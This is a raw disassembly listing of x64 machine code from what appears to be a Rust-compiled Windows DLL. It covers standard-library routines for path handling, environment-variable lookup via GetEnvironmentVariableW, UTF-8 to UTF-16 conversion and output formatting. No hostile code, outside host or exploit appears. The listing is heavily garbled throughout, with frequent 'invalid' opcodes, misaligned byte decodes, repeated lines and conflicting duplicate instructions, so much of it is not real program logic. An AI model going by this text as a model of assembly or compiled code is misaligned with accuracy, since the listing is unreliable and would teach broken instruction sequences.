mov qword [rsi], r9
add r9, rdx
mov qword [rsi], r9
mov byte [rsi + 8], al
mov qword [rsi + 0x10], rcx
mov qword [rsi + 0x18], rdx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
add eax, dword [rax]
mov rcx, rax
call fcn.180069790
lea r8, str.library_std_srcpath.rs
mov rcx, rax
call fcn.180069790
int3
int3
int3
rol byte [rcx - 0x80], 0xf8
add dword [rdi + 0x63], esi
cmp r8b, 1
ja 0x1800487d1
test dl, dl
jne 0x1800487aa
movzx r11d, byte [rcx + 0x10]
adc byte [rcx - 0x73], al
push rbx
sti
lea edx, [r11 - 5]
cmp dl, 1
ja 0x1800487aa
mov r9, qword [rcx]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
mov edx, dword [rcx + 8]
push rcx
or byte [rbp + 0x31], al
xor edx, edx
test r8b, r8b
jne 0x1800487a5
cmp r11b, 6
xor r10d, r10d
xor edx, edx
test r8b, r8b
jne 0x1800487a5
cmp r11b, 6
invalid
je 0x1800487a5
mov r10d, 2
cmp rdx, 1
jbe 0x180048880
xchg bl, bl
add byte [rax], al
invalid
add byte [rcx + 0x39], cl
sal byte [rbp + 0x3f], cl
cmp r10, rdx
jne 0x1800487e9
xor edx, edx
rol byte [rbp - 0x7c], cl
test r8b, r8b
jne case.0x1800487c4.6
sal byte [rbp + 0x24], 0x44
movzx eax, byte [rcx + 0x10]
movzx r8d, byte [rcx + 0x10]
lea r9, [0x180083280]
movsxd r8, dword [r9 + r8*4]
or dword [rbp + 1], 0xe0ff41c8
jmp r8
ret
mov rcx, qword [rcx + 0x20]
add rcx, 4
jmp 0x1800487d7
xor eax, eax
xor edx, edx
xor ecx, ecx
movzx edx, dl
movzx eax, al
add rax, rdx
add rax, rcx
add rsp, 0x20
pop rbp
ret
add rdx, r9
lea r11, [r9 + r10]
inc r11
cmp r11, rdx
sete dl
movzx r9d, byte [r9 + r10]
test dl, 1
jne 0x180048870
cmp r9b, 0x2e
jne 0x180048870
movzx edx, byte [r11]
cmp dl, 0x5c
sete r9b
cmp dl, 0x2f
invalid
sete dl
adc eax, dword [rax + 0xf415cfa]
xchg esp, eax
rol dword [rax - 0x6bf0d006], 0xc2
invalid
sete dl
invalid
or dl, r9b
jmp 0x1800487ac
mov r8, qword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
lea r9, [rcx + 1]
test rcx, rcx
cmove r9, rcx
lea rcx, [r8 + r9]
add rcx, 2
jmp 0x1800487d7
mov r8, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
lea r9, [rcx + 1]
test rcx, rcx
leave
leave
cmove r9, rcx
lea rcx, [r8 + r9]
add rcx, 8
jmp 0x1800487d7
mov ecx, 6
jmp 0x1800487d7
mov ecx, 2
jmp 0x1800487d7
cmp r9b, 0x2e
sete r9b
and dl, r9b
jmp 0x1800487ac
lea r8, str.library_std_srcpath.rs
mov ecx, 2
call fcn.180069790
int3
add byte [rbx - 0x73], cl
add al, 0x70
mov rcx, r8
mov r15, r14
mov r12, rcx
xor r13d, r13d
nop dword [rax + rax]
cmp word [rcx], 0x3b
je 0x180048b30
add rcx, 2
inc r13
cmp rcx, rax
jne 0x180048b10
jmp 0x180048b73
cmp r13, rbx
jne 0x180048b54
mov rcx, r12
mov rdx, rdi
mov qword [rbp - 0x18], r8
mov r8, qword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcmp
mov r8, qword [rbp - 0x18]
test eax, eax
je 0x180048c07
lea rdx, [r13 + 1]
lea rcx, [r12 + r13*2]
add rcx, 2
lea rax, [r12 + r15*2]
jl 0x180048bae
sub edi, edx
jl 0x180048bae
sub edi, edx
jne 0x180048b02
xor r15d, r15d
cmp r15, rbx
je 0x180048b88
jmp 0x180048b9e
mov rcx, r12
cmp r15, rbx
je 0x180048b88
jmp 0x180048b9e
mov rcx, r8
cmp r15, rbx
jne 0x180048b9e
mov rdx, rdi
mov r15, r8
mov r8, qword [rbp - 0x10]
call sub.VCRUNTIME140.dll_memcmp
mov r8, r15
test eax, eax
je 0x180048c07
test r14, r14
je 0x180048bac
cmp word [r8 + r14*2 - 2], 0x3b
je 0x180048bcf
cmp esi, dword [rbx + riz + 0x4c]
cmp esi, dword [rsi]
cmp r14, qword [rsi]
jne 0x180048bc1
jne 0x180048bc1
mov rcx, rsi
call fcn.1800489e0
mov r8, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
mov word [r8 + r14*2], 0x3b
inc r14
mov qword [rsi + 0x10], r14
mov rax, qword [rsi]
sub rax, r14
cmp rax, rbx
jae 0x180048bf0
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call fcn.18006a570
mov r8, qword [rsi + 8]
mov r14, qword [rsi + 0x10]
lea rcx, [r8 + r14*2]
mov rdx, rdi
mov r8, qword [rbp - 0x10]
call fcn.180068d66
add rbx, r14
mov qword [rsi + 0x10], rbx
mov eax, 1
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
and al, 0x20
lea rcx, [0x180081393]
lea r9, [0x18007bce0]
lea r8, [rbp - 1]
mov edx, 0x2b
call fcn.180069b20
add byte [rdi], cl
invalid
add byte [rdi], cl
or esp, dword [rsi + 0xf]
invalid
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x40]
call fcn.180069c80
int3
add byte [rbp + rcx*4 + 0x4d], cl
clc
mov r8d, 0xf
mov rcx, rax
call fcn.180027690
nop
add rsp, 0x30
pop rbp
ret
lea rcx, [rbp - 0x60]
call fcn.1800490e0
mov rax, qword [rbp - 0x60]
movabs rdi, 0x8000000000000000
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xf8
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0xf8
jne 0x180048d06
lea rcx, [rbp - 0x58]
call fcn.180043db0
mov qword [rsi], rdi
jmp 0x180048f48
mov qword [rbp + 0x3f8], rsi
mov qword [rbp + 0x3f0], rax
mov rax, qword [rbp - 0x58]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], 0
mov qword [rbp + 0x410], 2
mov qword [rbp + 0x418], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor edi, edi
xor ebx, ebx
xor r14d, r14d
xor esi, esi
xor esi, esi
cmp r8, 0x201
jae 0x180048d90
jmp 0x180048d7f
nop dword cs:[rax + rax]
jae 0x180048e56
cmp r8, 0x201
jae 0x180048d90
mov r15d, 0x200
lea r12, [rbp - 0x60]
mov r13, r8
jmp 0x180048de8
sub r8, r14
sub rbx, r14
cmp rbx, r8
jae 0x180048dbf
lea rcx, [rbp + 0x408]
mov rdx, r14
call fcn.18006a570
mov rdi, qword [rbp + 0x408]
mov rax, qword [rbp + 0x410]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp rdi, rax
mov r14d, 0xffffffff
dec dword [rax + 0x39]
mov dword [rcx - 0x42], 0xffffffff
cmovb r14, rdi
mov qword [rbp + 0x418], r14
mov ch, 0x18
add al, 0
add byte [rax - 0x77], cl
sti
mov ch, 0x18
add al, 0
add byte [rax - 0x77], cl
sti
mov r15, r14
mov r12, qword [rbp + 0x3e8]
movsd dword [rdi], dword [rsi]
invalid
add eax, dword [rax]
add byte [rax], al
movsd dword [rdi], dword [rsi]
call 0x1cd048de9
add byte [rax], al
mov r13, r14
add byte [rax], al
mov r13, r14
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rcx, qword [rbp + 0x400]
mov rdx, r12
mov r8d, r13d
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
xor eax, dword [rdx]
add byte [rcx + 0x75c085c6], cl
invalid
xor eax, dword [rdx]
add byte [rcx + 0x75c085c6], cl
invalid
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x180048ed6
invalid
add byte [rax], al
invalid
mov edi, 0x41000000
mov eax, esi
mov r8d, esi
cmp r13, r8
jne 0x180048d70
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x180048f5d
add byte [rax], al
add byte [rax], al
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
jb 0x180048d7f
jmp 0x180048d90
cmp r15, r8
jb 0x180048f77
lea rcx, [rbp + 0x3a0]
mov rdx, r12
call fcn.1800474f0
movups xmm0, xmmword [rbp + 0x3a0]
movups xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3d0], xmm1
movaps xmmword [rbp + 0x3c0], xmm0
test eax, eax
add eax, dword [rax]
add byte [rax - 0x7d], cl
mov ebp, 0x408
invalid
je 0x180048ea5
test eax, eax
add eax, dword [rax]
add byte [rax - 0x7d], cl
mov ebp, 0x408
add byte [rcx + rdx + 0x48], dh
mov rcx, qword [rbp + 0x410]
mov ecx, dword [rbp + 0x410]
mov edx, 2
call fcn.18001b8e0
movabs rsi, 0x8000000000000000
cmp qword [rbp + 0x3c0], rsi
mov rax, qword [rbp + 0x3f8]
je 0x180048f1e
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmm1, xmmword [rbp + 0x3d0]
add byte [rdi], cl
sub byte [rbp + 0x3d0], cl
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
jmp 0x180048f2d
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3c8], rax
movabs rsi, 0x8000000000000000
add byte [rax - 0x3f4a76b8], al
add eax, dword [rax]
add byte [rax - 0x7d], cl
cmp dword [rbp + 0x408], 0
add byte [rax - 0x3f4a76b8], al
add eax, dword [rax]
add byte [rax - 0x7d], cl
invalid
mov ebp, 0x408
cmp dword [rbp + 0x408], 0
add byte [rcx + rdx + 0x48], dh
mov ecx, dword [rbp + 0x410]
je 0x180048f17
mov rcx, qword [rbp + 0x410]
mov edx, 2
call fcn.18001b8e0
leave
sub ebp, edi
invalid
leave
sub ebp, edi
dec dword [rax - 0x75]
test eax, edi
add eax, dword [rax]
add byte [rax - 0x77], cl
xor byte [rax - 0x73], cl
invalid
mov rax, qword [rbp + 0x3f8]
mov qword [rax], rsi
lea rcx, [rbp + 0x3c8]
call fcn.180043db0
cmp qword [rbp + 0x3f0], 0
je 0x180048f48
mov edx, 2
mov rcx, qword [rbp + 0x400]
call fcn.18001b8e0
nop
add rsp, 0x4a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
add eax, dword [rax]
add eax, dword [rax]
mov edx, 0x28
call fcn.180069820
jmp 0x180048f8c
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.180069810
ud2
add eax, dword [rax]
add byte [rax], al
je 0x180049017
mov edx, 2
mov rcx, qword [rbp + 0x400]
call fcn.18001b8e0
invalid
call qword [rax + 0x28c48348]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
mov esi, ecx
mov rax, qword [rcx]
mov rcx, rax
inc rcx
je 0x1800490c4
lea rdx, [rax + rax]
cmp rdx, rcx
cmova rcx, rdx
movabs r8, 0x24924924924924a
xchg r10, rax
and al, 0x49
add dh, byte [rcx]
ror byte [rcx + rdi - 0x3f], cl
xchg r10, rax
and al, 0x49
add dh, byte [rcx]
ror byte [rcx + rdi - 0x3f], cl
setb dl
cmp rcx, 5
mov edi, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
cmovae rdi, rcx
imul r8, rdi, 0x38
cmp cl, al
loop 0x18004907e
cmp cl, al
loop 0x18004907e
test rax, rax
je 0x180049097
mov rcx, qword [rsi + 8]
imul rax, rax, 0x38
mov qword [rbp - 0x30], rcx
or byte [rax + 0x6b], r9b
sar byte [rax], 0x48
mov dword [rbp - 0x30], ecx
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
mov eax, 8
jmp 0x180049099
xor eax, eax
ror byte [rax - 0x77], 0x45
fmul dword [rax - 0x73]
call 0x150521df1
mov qword [rbp - 0x28], rax
lea rcx, [rbp - 0x18]
lea r9, [rbp - 0x30]
call fcn.180044da0
cmp qword [rbp - 0x18], 0
jne 0x1800490cb
mov rax, qword [rbp - 0x10]
mov qword [rsi + 8], rax
mov qword [rsi], rdi
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
xor ecx, ecx
call fcn.180069600
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
call fcn.180069600
int3
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sub eax, 0x4c000001
mov dword [rbp - 0x18], edi
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add rdi, rbx
add edi, ebx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rdi
mov word [rbp - 0x20], 0
mov dword [rbp - 0x20], 0x8d480000
invalid
invalid
mov dword [rbp - 0x20], 0x8d480000
call 0x1505a1eab
push rbp
invalid
lea ecx, [rbp - 0x18]
lea rdx, [rbp - 0x30]
push rbp
shr al, 1
pop rax
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
call fcn.1800492c0
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov rdx, rax
mov r8, rcx
cmp rax, 8
jb 0x1800491cf
mov r8, rcx
mov rdx, rax
cmp word [r8], 0
je 0x1800491f1
cmp word [r8 + 2], 0
cmp dword [r8 + 2], 0
je 0x1800491f1
cmp word [r8 + 4], 0
je 0x1800491f1
cmp word [r8 + 6], 0
cmp dword [r8 + 6], 0
je 0x1800491f1
cmp word [r8 + 8], 0
je 0x1800491f1
cmp word [r8 + 0xa], 0
je 0x1800491f1
cmp word [r8 + 0xc], 0
je 0x1800491f1
cmp word [r8 + 0xe], 0
je 0x1800491f1
add rdx, 0xfffffffffffffff8
add r8, 0x10
cmp rdx, 7
ja 0x180049182
add rdx, rdx
xor r9d, r9d
nop word cs:[rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp rdx, r9
je 0x180049226
cmp word [r8 + r9], 0
or byte [rax], al
lea r9, [r9 + 2]
jne 0x1800491e0
lea rax, [0x18007e8b8]
mov qword [rsi + 8], rax
movabs rax, 0x8000000000000000
mov qword [rsi], rax
cmp qword [rbp - 0x18], 0
je 0x180049255
mov edx, 2
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
jmp fcn.18001b8e0
cmp rax, qword [rbp - 0x18]
jne 0x18004923d
lea rcx, [rbp - 0x18]
call fcn.1800489e0
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov word [rcx + rax*2], 0
inc rax
mov qword [rbp - 8], rax
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rsi], xmm0
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rsi, rdx
invalid
mov rdi, rcx
movzx r12d, word [rdx + 0x10]
movzx esp, word [rdx + 0x10]
invalid
movzx esp, word [rdx + 0x10]
mov r13, qword [rdx]
mov r14, qword [rdx + 8]
sub cl, byte [rbx + rcx*4 + 0x72]
or bl, ch
jmp case.0x18002b117.834
jmp case.0x18002b117.834
shl ecx, 6
or ecx, r8d
or ecx, eax
mov r12d, ecx
xor r15d, r15d
mov r13, rax
invalid
invalid
mov rbx, qword [rdi + 0x10]
cmp rbx, qword [rdi]
cmp ebx, dword [rdi]
cmp ebx, dword [rdi]
je 0x180049403
add byte [rax], al
add byte [rax - 0x75], cl
or byte [r14 + 0x44], r12b
or byte [rsi + 0x44], ah
mov rax, qword [rdi + 8]
mov word [rax + rbx*2], r12w
pop rax
or byte [rsi + 0x44], ah
mov dword [rax + rbx*2], esp
pop rax
inc rbx
mov qword [rdi + 0x10], rbx
mov r12d, r15d
test r12w, r12w
jne 0x1800493b0
cmp r13, r14
je 0x180049439
test byte [rsi], cl
add dword [rax], eax
invalid
test byte [rsi], cl
add dword [rax], eax
add byte [rcx - 0x73], cl
add dword [r8 - 0x77], r9d
invalid
invalid
lea rax, [r13 + 1]
mov qword [rsi], rax
movzx edx, byte [r13]
movzx r12d, dl
test r12b, r12b
invalid
add byte [rdi + rcx - 0x4a], al
loop 0x180049381
test ah, ah
in al, 0x79
mov dl, 0x44
mov ecx, esp
jns case.0x18002ac81.817
mov ecx, r12d
and ecx, 0x1f
lea rax, [r13 + 2]
mov qword [rsi], rax
movzx r8d, byte [r13 + 1]
and r8d, 0x3f
cmp r12b, 0xdf
jbe 0x1800492e9
add r9b, byte [r8 - 0x77]
invalid
lea rax, [r13 + 3]
mov qword [rsi], rax
movzx r12d, byte [r13 + 2]
shl r8d, 6
and r12d, 0x3f
or r12d, r8d
cmp dl, 0xf0
jb 0x1800493be
lea rax, [r13 + 4]
mov qword [rsi], rax
add al, 0x48
mov dword [rsi], eax
movzx edx, byte [r13 + 3]
and ecx, 7
shl ecx, 0x12
shl r12d, 6
mov dh, 0x55
add eax, dword [rbx - 0x1e3ef81f]
adc al, byte [rcx - 0x3f]
in al, 6
and edx, 0x3f
or edx, r12d
or edx, ecx
mov r12d, edx
invalid
cmp r12d, 0xffff
jbe case.0x18002ac81.817
invalid
jmp 0x1800493d1
mov word [rsi + 0x10], 0
xor r15d, r15d
jmp case.0x180046113.842
shl ecx, 0xc
or r12d, ecx
cmp r12d, 0xffff
jbe case.0x18002ac81.817
lea ecx, [r12 + 0xff0000]
shr ecx, 0xa
or ecx, 0xd800
and r12d, 0x3ff
or r12d, 0xdc00
mov word [rsi + 0x10], r12w
mov r13, rax
mov r15d, r12d
mov r12d, ecx
jmp case.0x180046113.842
mov r8, r14
sub r8, r13
add r8, 3
mov rax, 0xffffffffffffffff
cmovb r8, rax
shr r8, 2
cmp r15w, 1
sbb r8, 0
add r8, 2
mov rcx, rdi
mov rdx, rbx
mov edx, ebx
mov edx, ebx
call fcn.18006a570
jmp 0x180049305
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
inc rsi
mov qword [rcx + 8], rsi
xor eax, eax
jmp 0x18004981e
sub byte [rax - 0x73], cl
adc eax, 0x345ad
mov r8d, 6
call qword [rax + 0x18]
test al, al
jne 0x18004981c
cmp byte [rbx + 0x20], 1
jne 0x180049683
mov rax, qword [rbx]
lea rcx, [0x180081490]
mov qword [rbp - 0x40], rcx
lea rdx, [0x180021ac0]
mov qword [rbp - 0x38], rdx
lea rdx, [0x18007da68]
mov qword [rbp - 0x30], rdx
lea rdx, [0x1800200d0]
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x10], 2
mov qword [rbp], 1
mov qword [rbp + 8], 1
mov qword [rbp + 0x10], 0
mov qword [rbp + 0x18], 0x20
mov byte [rbp + 0x20], 3
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 1
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
jmp 0x180049662
mov qword [rbp + 0x58], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.180021b20
test al, al
jne 0x18004981c
cmp dword [r15], 3
je 0x180049721
movzx eax, byte [rbx + 0x20]
cmp eax, 2
je 0x180049721
cmp eax, 1
jne 0x180049749
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
movaps xmmword [rbp - 0x10], xmm0
mov rax, qword [rbx]
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x40], rcx
lea rcx, [0x180046ab0]
mov qword [rbp - 0x38], rcx
lea rcx, [0x180081490]
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
mov qword [rbp + 0x60], 0
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
jmp 0x1800497f4
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x18007d4d9]
mov r8d, 9
call qword [rax + 0x18]
test al, al
je 0x1800497fd
jmp 0x18004981c
movups xmm0, xmmword [r15 + 0x40]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movups xmm3, xmmword [r15 + 0x30]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
movaps xmmword [rbp - 0x10], xmm0
mov rax, qword [rbx]
lea rcx, [rbp - 0x10]
mov qword [rbp - 0x50], rcx
lea rcx, [0x180046ab0]
lea ecx, [0x180046ab0]
lea ecx, [0x180046ab0]
mov qword [rbp - 0x48], rcx
mov qword [rbp + 0x40], 2
mov qword [rbp + 0x50], 2
mov qword [rbp + 0x60], 0
movabs rcx, 0x400000020
mov qword [rbp + 0x68], rcx
mov byte [rbp + 0x70], 3
lea rcx, [0x180081490]
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], 1
lea rcx, [rbp + 0x40]
mov qword [rbp - 0x20], rcx
mov qword [rbp - 0x18], 1
lea rcx, [rbp - 0x50]
mov qword [rbp - 0x30], rcx
mov qword [rbp - 0x28], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp - 0x40]
call fcn.180021b20
test al, al
jne 0x18004981c
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x18007d760]
mov r8d, 1
call qword [rax + 0x18]
test al, al
je 0x180049832
mov al, 1
add rsp, 0xf8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
cmp dword [rbp + 0xe0], 1
mov rcx, rdi
jne 0x180049481
mov rax, r14
mov rax, qword [r14]
cmp eax, 2
je 0x180049481
mov qword [rbp - 0x30], rdx
lea rdx, [0x1800200d0]
mov qword [rbp - 0x28], rdx
mov qword [rbp - 0x10], 2
add byte [rax - 0x39], cl
add byte [r9], r8b
add byte [rax], al
add byte [rax - 0x39], cl
or byte [r9], r8b
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
add byte [rax], al
add dh, al
and byte [r11], r8b
add byte [rax - 0x39], cl
add byte [r9], r8b
add byte [rax], al
add byte [rax - 0x39], cl
or byte [r9], r8b
add byte [rax], al
add byte [rax - 0x39], cl
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x39], cl
sbb byte [r8], r12b
add byte [rax], al
add dh, al
and byte [r11], r8b
mov qword [rbp + 0x40], rcx
mov qword [rbp + 0x48], 1
lea rcx, [rbp - 0x10]
mov qword [rbp + 0x60], rcx
mov qword [rbp + 0x68], 1
lea rcx, [rbp - 0x40]
ror byte [rax - 0x77], 0x4d
push rax
ror byte [rax - 0x77], 0x4d
push rax
mov qword [rbp + 0x58], 2
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
lea r8, [rbp + 0x40]
call fcn.180021b20
test al, al
jne 0x18004981c
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, str._____________at_:
mov r8d, 0x10
call qword [rax + 0x18]
test al, al
jne 0x18004981c
mov rcx, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
mov rdx, qword [rbx]
mov qword [rbp - 0x10], rdx
lea r8, [rbp - 8]
movups xmm0, xmmword [r14]
movups xmmword [rbp - 8], xmm0
mov r9, qword [r14 + 0x10]
mov qword [rbp + 8], r9
invalid
invalid
mov dword [rbp + 8], ecx
call qword [rax + 0x20]
test al, al
jne 0x18004981c
mov rax, qword [rbx]
lea rcx, [rbp - 0x50]
mov qword [rbp + 0x40], rcx
lea rcx, [0x180025550]
jmp 0x1c9049723
mov dword [rbp + 0x48], ecx
lea rcx, [0x18007da88]
jmp 0x1c9049723
mov ebx, 0x8948fffd
lea rcx, [0x18007da88]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], 1
mov qword [rbp + 0x10], 0
mov dword [rbp + 0x10], 0
mov dword [rbp + 0x10], 0
adc byte [r8], r8b
add byte [rax], al
add byte [rax - 0x73], cl
mov qword [rbp], rcx
lea rcx, [rbp + 0x40]
mov qword [rbp], rcx
mov qword [rbp + 8], 1
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
push rax
sub byte [rbp + rcx*4 + 0x45], cl
invalid
call fcn.180021b20
test al, al
jne 0x18004981c
push rax
sub byte [rbp + rcx*4 + 0x45], cl
invalid
mov rax, qword [rbx]
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
sub byte [rax - 0x73], cl
adc eax, 0x33d9f
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
mov rcx, rdi
je 0x180049481
jmp 0x18004981e
pop rbp
jmp 0x1800286e0
mov dh, 0x41
and byte [rbp + 0x31], al
leave
movabs r10, 0x8000000000000000
add byte [rax], al
add byte [rax], al
or byte [rcx + rdi + 0x11], 0x4c
cmovne ecx, ecx
add byte [rax], al
add byte [rax], al
or byte [rcx + rdi + 0x11], 0x4c
cmovne ecx, ecx
mov rcx, rdx
mov rdx, rax
ret 0xe95d
and al, 0xd3
invalid
invalid
ret 0xe95d
dec esp
int3
add byte [rax], al
mov qword [rbp + 0x10], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rax - 0x75]
add dword [rcx + 0x3e183c1], ecx
lea r8, [0x18008329c]
movsxd rcx, dword [r8 + rcx*4]
mov byte [rcx + rax - 0x3f], cl
jmp rcx
invalid
invalid
mov r9, qword [rax]
mov ecx, dword [rax]
mov r8, qword [rax + 8]
mov rcx, rdx
mov ecx, edx
mov rdx, r9
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp fcn.1800217c0
lea rsi, [rbp - 0x10]
mov rcx, rsi
mov rdi, rdx
mov edx, eax
call fcn.1800462b0
mov qword [rbp - 0x30], rsi
lea rax, [0x18001f190]
mov qword [rbp - 0x28], rax
lea rax, [rbp + 0xc]
or al, 0x48
mov dword [rbp - 0x20], eax
or al, 0x48
mov dword [rbp - 0x20], eax
lea rax, [0x18002c540]
mov qword [rbp - 0x18], rax
lea rax, [0x18007cd78]
add eax, dword [rax]
add eax, dword [rax]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 3
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
invalid
invalid
mov qword [rbp - 0x48], 2
mov rcx, qword [rdi + 0x20]
mov rdx, qword [rdi + 0x28]
lea r8, [rbp - 0x60]
call fcn.180021b20
cmp qword [rbp - 0x10], 0
lock add byte [rdi], cl
invalid
test dword [rax], eax
add byte [rax], al
lock add byte [rdi], cl
test byte [rbp + 0x48000000], al
mov ecx, dword [rbp - 8]
mov rcx, qword [rbp - 8]
mov edx, 1
mov ebx, eax
call fcn.18001b8e0
mov eax, ebx
jmp 0x180049b76
in eax, 0x53
add eax, dword [rax]
mov rax, qword [r8 + rax*8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
lea rax, [rbp - 0x30]
mov qword [rbp - 0x10], rax
lea rax, [0x180021ac0]
mov qword [rbp - 8], rax
lea rax, [0x180081490]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
add byte [rax], al
add byte [rax], al
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x10]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x45], cl
invalid
call fcn.180021b20
and byte [rax - 0x75], cl
push rdx
sub byte [rbp + rcx*4 + 0x45], cl
movabs al, byte [0x814890fffd7faae8]
invalid
nop
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov rax, qword [rax + 0x20]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
jmp rax
cmp rcx, rdi
je 0x180049db0
lea r8, [r14 + rcx]
mov r12, rcx
mov rdx, r8
jmp 0x180049c6f
add rdx, 2
cmp rax, r13
cmovne rax, rdx
mov r9d, 2
nop word cs:[rax + rax]
add r12, r9
mov rdx, rax
cmp rax, r13
je 0x180049db3
lea rax, [rdx + 1]
movzx r10d, byte [rdx]
mov r9d, 1
test r10b, r10b
jns 0x180049c60
cmp r10b, 0xe0
jb 0x180049c45
cmp r10b, 0xed
jne 0x180049cc1
cmp rax, r13
je 0x180049db3
